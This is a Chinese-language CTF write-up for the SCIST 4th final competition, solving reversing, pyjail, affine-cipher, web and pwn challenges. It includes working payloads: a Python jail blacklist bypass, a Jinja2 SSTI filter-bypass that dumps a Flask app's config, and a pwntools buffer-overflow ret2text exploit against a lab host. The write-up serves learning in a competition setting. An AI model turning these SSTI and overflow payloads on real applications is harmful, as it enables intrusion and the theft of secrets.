SCIST 4th Final CTF WriteUp

7th place
2730 points

Rev

  • PeekMe
    image
    把點進去看起來像主要內容的函式改名字 peekme_main
    image
    發現是 rust 寫的,難怪看起來不太一樣
    image
    把點進去像是選單的函式改名字 menu
    image
    點看到的部份flag
    image
    看到完整flag
  • TinyEncryptor
    image
    會讀明文的每個字元,加 1 再 xor 0xA9 變成密文
    解密
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    def decrypt_file(input_file):
    with open(input_file, 'rb') as f_in:
    while True:
    byte = f_in.read(1)
    # print(byte)
    if not byte:
    break
    dec_byte = ord(byte) ^ 0xA9
    dec_byte -= 1
    print(chr(dec_byte), end='')



    input_file = 'encrypted.txt'

    decrypt_file(input_file)
    image

misc

  • pyjail1
    發現 breakpoint() 剛好不在黑名單中

image

  • pyjail2
    應該要使 {inp} 變成 "fg"
    發現 c h r () + = 剛好不在黑名單中

想辦法用這幾個字元組成"fg"=>chr(102)+chr(103)
經過一波三折查詢發現 +(()==()) 會是 1
所以payload就是chr( 102個+(()==()) )+chr( 103個+(()==()) )
image

crypto

  • Affine
    image
    PARAGRAPH 仿射加密七次變成 text,每次a、b都是隨機
    但 text 與 PARAGRAPH 的關係仍然是仿射加密,找線上工具 https://quipqiup.com/
    還原出部分GEffUFISh, afSo kRocR aS SEa jEffIES, arE thE OEDuSa-phaSE oF CErtaIR BEfatIRouS OEOlErS oF thE SulphUfuO MEDuSozoa, chICh IS a Oajor part oF thE phUfuO vRIDarIa.
    用人工智慧把常見的單字都解出來
    image
    得到 Guffufish, also known as sea jellies, are the medusa-phase of certain gelatinous members of the class Scyphozoa, which is a major part of the phylum Cnidaria.

工人智慧盡可能解出還不確定的單字
image
image
問號就是無法從已知的對照出來的字母
再用人工智慧解出剩下
image
得到Jellyfish, also known as sea jellies, are the medusa-phase of certain gelatinous members of the subphylum Medusozoa, which is a major part of the phylum Cnidaria.
雜湊
image

web

  • formatter
    看 main.py 推測要 SSTI 並繞過 {{ }} . () 取得 app.secret_key

{% print ... %}繞過{{ }}
避免用類似''.__class__,改用類似''['__class__']
上網查 繞過小括號並取得 config 相關的SSTI payload
https://christa.top/details/44/
image

改一下,先測試{% print url_for['__globals__'] %}發現有成功執行但沒有'current_app'
再測試{% print get_flashed_messages['__globals__'] %},有'current_app'
image
最後payload {% print get_flashed_messages['__globals__']['current_app']['config'] %}
image

Pwn

  • Bank
    看到後門,推測是 ret2text
    image
    r2 靜態分析
    image
    推測 [var_14h] 是 length
    image
    推測 [var_10h] 是 name
    length 輸入一個小於 16 的數字,name 做 buffer overflow
    image
    name 距離 rbp 16 bytes,所以payload先填 16 個 a
    再填 8 個 a 覆蓋掉 saved rbp
    image
    ret address 填 sym.bad_dog 裡面的 0x00401243 ,因為 saved rbp 被覆蓋掉了,要跳過 prologue
    寫 exploit
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from pwn import *

    # r = process("./Bank")
    r = remote("lab.scist.org", 37000)

    raw_input('>')
    r.sendlineafter(b"length of name:\n> ", b"15")
    r.sendlineafter(b"name:\n> ", b'a'*16 + b'a'*8 + p64(0x00401243))

    r.interactive()
    image